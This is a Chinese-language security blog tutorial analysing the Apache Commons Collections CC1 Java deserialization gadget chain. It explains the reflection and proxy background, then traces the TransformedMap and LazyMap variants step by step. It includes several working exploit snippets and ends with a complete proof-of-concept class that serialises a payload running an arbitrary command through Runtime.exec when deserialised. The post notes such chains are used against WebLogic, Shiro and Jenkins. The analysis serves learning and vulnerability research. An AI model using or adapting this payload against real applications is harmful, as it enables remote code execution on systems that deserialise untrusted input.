0x00 前言
本文所讲述的CommonsCollections1链也被称为CC1链,它是属于Apache Commons Collections是Java中应用广泛的一个库,Apache Commons Collections是Apache软件基金会的项目,是一个扩展了Java标准库里的Collection结构的第三方基础库,它提供了很多强有力的数据结构类型并且实现了各种集合工具类。其目的是提供可重用的、解决各种实际的通用问题且开源的Java代码。作为Apache开源项目的重要组件,Commons Collections包为Java标准的Collections API提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充,让应用程序在开发的过程中,既保证了性能,也能大大简化代码,故而被广泛应用于各种Java应用的开发。
尽管它的初衷是好的,但其中有一些代码不严谨,导致很多引用了这个库的Java应用程序(如WebLogic、Websphere、Jboss、Jenkin等)会产生RCE漏洞。Apache Commons Collections的漏洞最初在2015年11月6日由FoxGlove Security安全团队的@breenmachine 在一篇长博客上阐述,危害面覆盖了大部分的Web中间件,影响十分深远,横扫了WebLogic、WebSphere、JBoss、Jenkins、OpenNMS的最新版。
环境准备
调试工具:IDEA
Java版本:8u65,下载地址:https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html
8u65源码:下载地址:https://hg.openjdk.java.net/jdk8u/jdk8u/jdk/archive/af660750b2f4.zip
pom文件配置:
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>
工具安装、Java版本配置、源码加载这些建议从网上补一下这方面的知识
0x01 基础
反射机制
一开始看到反射就联想到反弹shell一类的内容,其实与那些并无干系,反射机制是Java的一种特性,可以理解为在运行中(而非编译期间)获取对象类型信息的操作。传统的编程方法要求程序员在编译阶段决定使用的类型,但是在反射的帮助下,我们可以动态获取这些信息,从而编写更加具有可移植性的代码。当然,反射并非某种编程语言的特性,理论上使用任何一种语言都可以实现反射机制,但是像Java语言本身支持反射,那反射的实现就会方便很多。
根据网上的资料,JAVA反射机制的功能可以用如下几句话简要描述: 在运行状态中,判断任意一个对象所属的类; 在运行状态中,构造任意一个类的对象; 在运行状态中,获取或修改任意一个类所具有的成员变量和方法; 在运行状态中,调用任意一个对象的方法; 另外还可生成动态代理和获取类的其他信息。
我们知道在Java中一切都是对象,我们一般所使用的对象都直接或间接继承自Object类。Object类中包含一个方法名叫getClass,利用这个方法就可以获得一个实例的类型类。 需要注意的是,反射机制在运行时只能调用methods或改变fields内容,却无法修改程序结构或变量类型。
Java Runtime类
Runtime类封装了运行时的环境,每个 Java 应用程序都有一个 Runtime 类实例,使应用程序能够与其运行的环境相连接。一旦得到了一个当前的Runtime对象的引用,就可以调用Runtime对象的方法去控制Java虚拟机的状态和行为。
一般情况下,不能实例化一个Runtime对象,应用程序也不能创建自己的 Runtime 类实例,但可以通过 getRuntime() 方法获取当前Runtime运行时对象的引用。
Runtime类提供了很多有价值的API,文中用到的主要就是exec(String command) (即在单独的进程中执行指定的字符串命令)。
Java 反序列化
序列化就是把对象转换成字节流,便于传输和保存在内存、文件、数据库中;反序列化是序列化的逆过程,即将有结构的字节流还原成对象。
在Java中,java.io.ObjectOutputStream代表对象输出流,它的writeObject(Object obj)方法可对参数指定的obj对象进行序列化,把得到的字节序列写到一个目标输出流中。
与之对应,java.io.ObjectInputStream代表对象输入流,它的readObject()方法从一个源输入流中读取字节序列,再把它们反序列化为一个对象,并将其返回。
对象序列化包括如下步骤:
1) 创建一个对象输出流,它可以包装一个其他类型的目标输出流,如文件输出流;
2) 通过对象输出流的writeObject()方法写对象。
对象反序列化的步骤如下:
1) 创建一个对象输入流,它可以包装一个其他类型的源输入流,如文件输入流;
2) 通过对象输入流的readObject()方法读取对象。
只有实现了Serializable和Externalizable接口的类且所有属性(用transient关键字修饰的属性除外,不参与序列化过程)都是可序列化的对象才能被序列化。在序列化(反序列化)的时候,ObjectOutputStream(ObjectInputStream)会寻找目标类中的重写的writeObject(readObject)方法,赋值给变量writeObjectMethod(readObjectMethod)。
Java 注解
Java 注解(Annotation)又称 Java 标注,是 JDK5.0 引入的一种注释机制。Java 语言中的类、方法、变量、参数和包等都可以被标注。和 Javadoc 不同,Java 标注可以通过反射获取标注内容。在编译器生成类文件时,标注可以被嵌入到字节码中。Java 虚拟机可以保留标注内容,在运行时可以获取到标注内容,也支持自定义 Java 标注。
Java 定义了一套注解,Java7之前有 7 个,3个在java.lang中,4个在 java.lang.annotation 中。
作用于代码的注解是如下3个,
@Override – 检查该方法是否是重写方法。如果发现其父类,或者是引用的接口中并没有该方法时,会报编译错误;
@Deprecated – 标记过时方法。如果使用该方法,会报编译警告;
@SuppressWarnings – 指示编译器去忽略注解中声明的警告。
作用于其他注解的注解(又称元注解)是如下4个,
@Retention – 标识这个注解怎么保存,是只在代码中,还是编入class文件中,或者是在运行时可以通过反射访问;
@Documented – 标记这些注解是否包含在用户文档中;
@Target – 标记这个注解应该是哪种 Java 成员,即指定 Annotation 的类型属性;
@Inherited – 标记这个注解是继承于哪个注解类(默认 注解并没有继承于任何子类)。
Java 代理
代理模式是一种设计模式,提供了对目标对象额外的访问方式,即设置一个中间代理,通过代理对象访问目标对象,提供了对目标对象额外的访问方式,这样可以在不修改原目标对象的前提下,提供额外的功能操作,扩展目标对象的功能,以达到增强原对象的功能和简化访问方式。
Java提供了三种代理模式:静态代理、动态代理和cglib代理。 静态代理方式需要代理对象和目标对象实现一样的接口。 优点:可以在不修改目标对象的前提下扩展目标对象的功能; 缺点:①冗余由于代理对象要实现与目标对象一致的接口,会产生过多的代理类。②不易维护。一旦接口增加方法,目标对象与代理对象都要进行修改。 动态代理利用了JDK API,动态地在内存中构建代理对象,从而实现对目标对象的代理功能。动态代理又被称为JDK代理或接口代理。 静态代理与动态代理的区别主要在于静态代理在编译时就已经实现,编译完成后代理类是一个实际的class文件,而动态代理是在运行时动态生成的,即编译完成后没有实际的class文件,而是在运行时动态生成类字节码,并加载到JVM中。 特点:动态代理对象不需要实现接口,但是要求目标对象必须实现接口,否则不能使用动态代理。
疑问解答点
何为链?专业术语也称为Gadget chain,在Java当中叫做调用链,从入口类重写的readObject方法经过一层一层类和方法,最终到达触发我们恶意代码的链路。
下面会讲到TransformedMap
和LazyMap
这两个调用链,都来自于Common-Collections库,并继承AbstractMapDecorator。
在ysoserial工具中CommonsCollections1链是使用LazyMap
类,并不是TransformedMap
类。
在此之前初学者会有很多的疑问,比如:
- 学CC1链为什么要用到TransformedMap类?
- ChainedTransformer和ConstantTransformer的作用是什么?
- 为什么又要用到AnnotationInvocationHandler这个类呢?
- 平常我们所说用ysoserial生成的CC链都是怎么利用到shiro和weblogic的呢?
我们要先了解整个反序列化的过程,可以看到我们下面的过程图:
第一第二点疑问可以先参考过程图粗略了解一下,为什么要用AnnotationInvocationHandler类,因为它重写了readObject函数,注意,AnnotationInvocationHandler是不属于CommonsCollections库里面的,是JDK原有的库,而且为什么要8u65的版本进行测试,因为在8u71以后大概是2015年12月的时候,Java 官方修改了 sun.reflect.annotation.AnnotationInvocationHandler 的readObject函数。
平时shiro和weblogic等应用的反序列化漏洞都是利用cc链进行攻击的,整个过程又是怎么样呢?我们可以知道反序列化最主要的是readObject函数,readObject主要是对字节码转成对象,然而我们要攻击就要把整个可序列化
的payload进行序列化,转成readObject要使用的字节码。所以在shiro和weblogic等一些应用只要有可以接受外界的数据,并且这些数据还经过了readObject就能利用cc链进行攻击。
0x02 TransformedMap链分析
我们从上面已经了解过了,CommonsCollections库是应用常用的,所以我们要在这个库里面找到一些我们可以利用的函数和类。当中InvokerTransformer(怎么找的?别问,问就是大佬已经找好了🐶)这个类就存在危险可操作的地方,比如里面的transform方法,而且也继承了Serializable接口,符合我们反序列化的条件,可以看到里面用到了反射:
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
}
是不是很熟悉,似成相识,我们来看一下我们之前利用反射处理的Runtime类只想计算器的代码:
Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator"); //正射调用
Object myRuntime = Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null);//反射调用
Method exec = Class.forName("java.lang.Runtime").getMethod("exec",String.class);
exec.invoke(myRuntime, "/System/Applications/Calculator.app/Contents/MacOS/Calculator");
是不是该有的都有了,好,我们继续看下怎么使用InvokerTransformer类去利用,先来看下New一个对象需要传入什么参数,第一个是字符串,第二个是类数组,第三个是对象参数:
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
我们可以写成下面这样就能触发计算器了,第一个也就是我们的exec方法,第二个要写成new Class[]就是要new一个class数组然后把类的类型放进来给它处理,第三个就是对应上面的new Object[]。如果还是看不懂可以把Runtime反射的代码带入到transform方法就一目了然了。
Object input = Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null);
String iMethodName = "exec";
Class[] iParamTypes = {String.class};
Object[] iArgs = {"/System/Applications/Calculator.app/Contents/MacOS/Calculator"};
InvokerTransformer invokerTransformer = new InvokerTransformer(iMethodName, iParamTypes, iArgs);
invokerTransformer.transform(input);
注意,如果不知道InvokerTransformer对于实际开发到底发挥了什么作用,这个我们先不要深究,我们只用知道这个类和这个函数能利用,触发我们的代码即可,其他的下面处理完所有的类会一一解释
我们把这段写成序列化再反序列化看看,看到是可以正常运行计算器的:
String iMethodName = "exec";
Class[] iParamTypes = {String.class};
Object[] iArgs = {"/System/Applications/Calculator.app/Contents/MacOS/Calculator"};
InvokerTransformer invokerTransformer = new InvokerTransformer(iMethodName, iParamTypes, iArgs);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oss = new ObjectOutputStream(barr);
oss.writeObject(invokerTransformer);
oss.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
InvokerTransformer exec = (InvokerTransformer) ois.readObject();
Object input = Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null);
exec.transform(input);
但是我们主要到的是input的变量,我们要主动去做赋值,要知道服务器不可能会写一个给你,我们要在执行readObject的时候就有我们的input的内容,要解决传input值问题,我们的最希望的就是有一个方法可以在内部就帮我们传入危险的值。
跟到这里,大家可能也会有点迷茫,我们重新回到我们最终目的:能被readObject利用到的。这里我们可以直接跳到AnnotationInvocationHandler这个类,这个JDK自带的,而且这个类的readObject重写了,同时也继承Serializable类:
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
我们重点看下面这两句:
Map.Entry<String, Object> memberValue : memberValues.entrySet()
memberValue.setValue
上面这些过程看不懂不要紧,继续往下走,把整个思路弄顺了先。我们知道执行反序列化后这里会把Map进行遍历,然后去执行赋值给memberValue
的setValue方法。那有人在这里就迷惑了,memberValue
又是怎么来的,我们这个变量是在创建AnnotationInvocationHandler对象的时候传进来的值,第一个是注解,第二个参数是Map,所以我们要把我们的恶意代码作为Map类型传给AnnotationInvocationHandler对象才能实现反序列化:
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
private static final long serialVersionUID = 6182022883658399397L;
private final Class<? extends Annotation> type;
private final Map<String, Object> memberValues;
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
Class<?>[] superInterfaces = type.getInterfaces();
if (!type.isAnnotation() ||
superInterfaces.length != 1 ||
superInterfaces[0] != java.lang.annotation.Annotation.class)
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
this.type = type;
this.memberValues = memberValues;
}
接下来就要去找利用到setValue方法的类,因为在这里触发这个方法memberValue.setValue
,我们只要从cc库中找到利用该方法的地方,我们右键寻找find usages
,找到一个是map类型的类,为什么要找map类型呢,因为map类型的用得比较多,也比较广泛,我们看到AbstractInputCheckedMapDecorator
类使用了该方法:
我们查看下checkSetValue
的定义:
abstract class AbstractInputCheckedMapDecorator
extends AbstractMapDecorator {
protected AbstractInputCheckedMapDecorator() {
super();
}
protected AbstractInputCheckedMapDecorator(Map map) {
super(map);
}
//-----------------------------------------------------------------------
/**
* Hook method called when a value is being set using <code>setValue</code>.
* <p>
* An implementation may validate the value and throw an exception
* or it may transform the value into another object.
* <p>
* This implementation returns the input value.
*
* @param value the value to check
* @throws UnsupportedOperationException if the map may not be changed by setValue
* @throws IllegalArgumentException if the specified value is invalid
* @throws ClassCastException if the class of the specified value is invalid
* @throws NullPointerException if the specified value is null and nulls are invalid
*/
protected abstract Object checkSetValue(Object value);
protected boolean isSetValueChecking() {
return true;
}
我们使用ctrl+H键查找继承AbstractInputCheckedMapDecorator
抽象类的checkSetValue
方法,有什么我们可以利用到的,主要是能触发我们的transform的方法的,我们发现了两个类继承了它,其中在TransformedMap
类中的checkSetValue有触发transform的方法:
从readObject走到这里,我们只需要把InvokerTransformer类赋值给valueTransformer就行了。我们看下TransformedMap类,也继承了Serializable类,但是构造函数事protected属性的,不能直接new。不过还是提供了decorate方法给我们创建对象,而且valueTransformer也可控。
public class TransformedMap
extends AbstractInputCheckedMapDecorator
implements Serializable {
private static final long serialVersionUID = 7023152376788900464L;
protected final Transformer keyTransformer;
protected final Transformer valueTransformer;
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
所以代码可以这样写,for循环是直接用我们入口点的AnnotationInvocationHandler的readObject来写的。
Object input = Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null);
String iMethodName = "exec";
Class[] iParamTypes = {String.class};
Object[] iArgs = {"/System/Applications/Calculator.app/Contents/MacOS/Calculator"};
InvokerTransformer invokerTransformer = new InvokerTransformer(iMethodName, iParamTypes, iArgs);
Map innerMap = new HashMap();
innerMap.put("1111","test");
Map<String,Object> outerMap = TransformedMap.decorate(innerMap, null, invokerTransformer);
for (Map.Entry<String, Object> memberValue : outerMap.entrySet()) {
memberValue.setValue(input);
}
还是回到上面input的问题中,如果利用了AnnotationInvocationHandler类进行反序列化按道理是不用再处理input事情了的,所以我们需要找一个地方存放我们的input在内部。我们先来看下InvokerTransformer是继承Transformer类的,我们看下其他对象有没有合适和也有transform方法的,我们找到一个叫ChainedTransformer
的类和ConstantTransformer
类,里面就重写了transform方法:
我们要用到这两个类呢?
-
都是继承了Transformer
-
都有重写transform方法
这Transformer类的功能就是将一个对象转换为另外一个对象,我们这里会用到的有:
- invokeTransformer(通过反射,返回一个对象)
- ChainedTransformer(把多个transformer连接成一条链,对一个对象依次通过链条内的每一个transformer进行转换)
- ConstantTransformer(把一个对象转化为常量,并返回)
看完了还是懵的,到底对我们的反序列化有什么帮助?不急,我们先来看下它们是怎么处理的,在ConstantTransformer类中,new一个对象会赋值给iConstant变量,执行transform方法会直接返回这个对象,这样就完成了把一个对象转化为常量的过程:
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
/**
* Transforms the input by ignoring it and returning the stored constant instead.
*
* @param input the input object which is ignored
* @return the stored constant
*/
public Object transform(Object input) {
return iConstant;
}
接着到ChainedTransformer类,接收的参数是Transformer数组类型,然后将数组赋值给iTransformers变量。它就会将传入的iTransformers对象进行遍历和触发transform方法,然后返回Object给下一个transform方法这样就完成了把多个transformer连接成一条链,对一个对象依次通过链条内的每一个transformer进行转换:
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}
/**
* Transforms the input to result via each decorated transformer
*
* @param object the input object passed to the first transformer
* @return the transformed result
*/
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
那有什么用,看起来现在感觉有点乱的样子,不急,我们先把代码写出来,可以看到我们把Runtime对象放进ConstantTransformer对象里面,然后使用ChainedTransformer进行遍历整个Transformer数组,依次执行里面的transform方法:
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[] {"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("111","test");
Map<String,Object> outerMap = TransformedMap.decorate(innerMap, null, chainedTransformer);
for (Map.Entry<String, Object> memberValue : outerMap.entrySet()) {
memberValue.setValue("test");
}
//上面还可以写成这样,outerMap后一串东西,其实就是获取这个map的第一个键值对(value,value);然后转化成Map.Entry形式,这是map的键值对数据格式
//outerMap.entrySet().iterator().next().setValue("test");
在这里还可以想到一个很巧妙的地方就是ChainedTransformer的transform方法可以先把第一个ConstantTransformer处理过的Runtime对象赋值给下一个transform方法,也就是InvokerTransformer对象:
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
我们把上面的setValue串联起来那就是我们一开始这张图的过程一样:
现在我们就可以正式去从AnnotationInvocationHandler的readObject入口点进行反序列化了,因为AnnotationInvocationHandler的构造方法没有public,所以要使用反射的方式进行。而且还要看传入的参数,memberValues我们已经知道了,就是把outerMap变量放进来即可,第一参数是要传进来一个注释类型的:
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
Class<?>[] superInterfaces = type.getInterfaces();
if (!type.isAnnotation() ||
superInterfaces.length != 1 ||
superInterfaces[0] != java.lang.annotation.Annotation.class)
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
this.type = type;
this.memberValues = memberValues;
}
我们可以按住ctrl+H查看继承Annotation的类:
随便选一个都可以的,完整的代码如下:
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[] {"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("111","test");
Map<String,Object> outerMap = TransformedMap.decorate(innerMap, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor AnnotationInvocationHandlerConstructor =c.getDeclaredConstructor(Class.class,Map.class);
AnnotationInvocationHandlerConstructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) AnnotationInvocationHandlerConstructor.newInstance(SOAPMessageHandlers.class,outerMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oss = new ObjectOutputStream(barr);
oss.writeObject(handler);
oss.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();
但是执行后会报错:
Exception in thread "main" java.io.NotSerializableException: java.lang.Runtime
为什么呢,因为Runtime
的构造函数是private属性的,所以我们还得使用反射的方式进行编写:
Class d = Runtime.class;
Method cMethmod = d.getMethod("getRuntime",null);
Object se = cMethmod.invoke(null);
Method exec = d.getMethod("exec", String.class);
exec.invoke(se, "/System/Applications/Calculator.app/Contents/MacOS/Calculator");
改写成InvokerTransformer对象的调用方式,如果对理的new Class有疑问可以去看下该方法的传入的参数类型:
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[] {"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("111","test");
Map<String,Object> outerMap = TransformedMap.decorate(innerMap, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor AnnotationInvocationHandlerConstructor =c.getDeclaredConstructor(Class.class,Map.class);
AnnotationInvocationHandlerConstructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) AnnotationInvocationHandlerConstructor.newInstance(SOAPMessageHandlers.class,outerMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oss = new ObjectOutputStream(barr);
oss.writeObject(handler);
oss.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();
再次运行后发现还是没弹出计算器了,我们在readObject上面上一个断点,可以看到传过来memberType的值是null,所以没有执行下去:
我们继续往下走到这里会发现它会对比一个value的hash值,如果不一致那就会返回null:
所以我们要在put的那里加上写入value的值,也就是我们选取了@SOAPMessageHandlers注解作为this.type
,我们就必须向this.memberValues
写入一个value:xxx
的键值对
这里的this.type
是可以变动的,比如换成另一个元注释Retention.class
(虽然他的注解元素名也是value),甚至可以自定义,但是对方服务器上没有这个注释,打别人是没有用的,所以还是选用大家都有的元注释。
同时我们写入的this.memberValues
的键名不能改变,但是值可以改变。:
public @interface SOAPMessageHandlers {
SOAPMessageHandler[] value();
}
完整的代码如下:
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[] {"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value","test");
Map<String,Object> outerMap = TransformedMap.decorate(innerMap, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor AnnotationInvocationHandlerConstructor =c.getDeclaredConstructor(Class.class,Map.class);
AnnotationInvocationHandlerConstructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) AnnotationInvocationHandlerConstructor.newInstance(SOAPMessageHandlers.class,outerMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oss = new ObjectOutputStream(barr);
oss.writeObject(handler);
oss.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();
0x03 LazyMap链分析
我们上面了解到了TransformedMap链的整个过程,在ysoserial里面用的是LazyMap的链,这个会稍微复杂一点,但整体和TransformedMap差不多,整条链如下:
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
其实在TransformedMap利用起来感觉会方便很多因为可以直接利用AnnotationInvocationHandler对象的setValue方法进行反序列化。但是LazyMap也是一样用到transform的方法,我们来看一下具体代码,可以看到containsKey是不含该键名就执行factory的transform的方法:
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
但是没有能在LazyMap找到一个checkSetValue的方法然后去执行setValue,而且在readObject也没有调用到get的方法。所以按照ysoserial的用法,就找到另外一条路,也就是AnnotationInvocationHandler类的invoke方法有调用到get:
public Object invoke(Object proxy, Method method, Object[] args) {
String member = method.getName();
Class<?>[] paramTypes = method.getParameterTypes();
// Handle Object and Annotation methods
if (member.equals("equals") && paramTypes.length == 1 &&
paramTypes[0] == Object.class)
return equalsImpl(args[0]);
if (paramTypes.length != 0)
throw new AssertionError("Too many parameters for an annotation method");
switch(member) {
case "toString":
return toStringImpl();
case "hashCode":
return hashCodeImpl();
case "annotationType":
return type;
}
// Handle annotation member accessors
Object result = memberValues.get(member); //在这里用到了get的方法
if (result == null)
throw new IncompleteAnnotationException(type, member);
if (result instanceof ExceptionProxy)
throw ((ExceptionProxy) result).generateException();
if (result.getClass().isArray() && Array.getLength(result) != 0)
result = cloneArray(result);
return result;
}
那么又如何能调用到 AnnotationInvocationHandler#invoke 呢?ysoserial的作者想到的是利用Java 的对象代理。
如果对动态代理有不熟悉可以看下b站的视频两个小时带你深入剖析代理模式
由此可知AnnotationInvocationHandler本身就是一个InvocationHandler,所以只要我们在反序列化调用readObject的时候要是使用到了代理就会触发里面的invoke方法,接着就能进入我们的所需的get 方法中。
下面我们只要把LazyMap替换掉TransformedMap即可,可以看到它的构造方法也是protected属性,不过也提供了decorate方法来给我们创建对象,所以我们只要替换一下名字即可。
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}
我们再用反射来写一个代理:
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor AnnotationInvocationHandlerConstructor =c.getDeclaredConstructor(Class.class,Map.class);
AnnotationInvocationHandlerConstructor.setAccessible(true);
InvocationHandler Lazyhandler = (InvocationHandler) AnnotationInvocationHandlerConstructor.newInstance(SOAPMessageHandlers.class,outerMap);
Map proxyMap=(Map) Proxy.newProxyInstance(Map.class.getClassLoader(),outerMap.getClass().getInterfaces(), Lazyhandler);
InvocationHandler handler = (InvocationHandler) AnnotationInvocationHandlerConstructor.newInstance(SOAPMessageHandlers.class, proxyMap);
完整的POC:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import javax.jws.soap.SOAPMessageHandlers;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class CC1_LazyMap {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[] {"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map outerMap = LazyMap.decorate(new HashMap(), chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor AnnotationInvocationHandlerConstructor =c.getDeclaredConstructor(Class.class,Map.class);
AnnotationInvocationHandlerConstructor.setAccessible(true);
InvocationHandler Lazyhandler = (InvocationHandler) AnnotationInvocationHandlerConstructor.newInstance(SOAPMessageHandlers.class,outerMap);
Map proxyMap=(Map) Proxy.newProxyInstance(Map.class.getClassLoader(),outerMap.getClass().getInterfaces(), Lazyhandler);
InvocationHandler handler = (InvocationHandler) AnnotationInvocationHandlerConstructor.newInstance(SOAPMessageHandlers.class, proxyMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oss = new ObjectOutputStream(barr);
oss.writeObject(handler);
oss.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();
}
}
0x04 总结
其实还有JDK版本的问题,因为高版本的修复了AnnotationInvocationHandler的readObject,但是在CC6的还是可以利用的,在后续也会出相关的文章。
这里面有很多基础的知识需要掌握,要不然会看得很累,所以大家还是要继续加油!
笔者也是照葫芦画瓢,有写得不好的的请见谅,感谢!
0x05 参考
https://github.com/phith0n/JavaThings
- 原文作者: F0rmat
- 原文链接: https://xxe.icu/commonscollections1_chain_analysis.html
- 版权声明:本作品采用 署名 - 非商业性使用 4.0 国际 (CC BY-NC 4.0)进行许可,非商业转载请注明出处(作者,原文链接),商业转载请联系作者获得授权。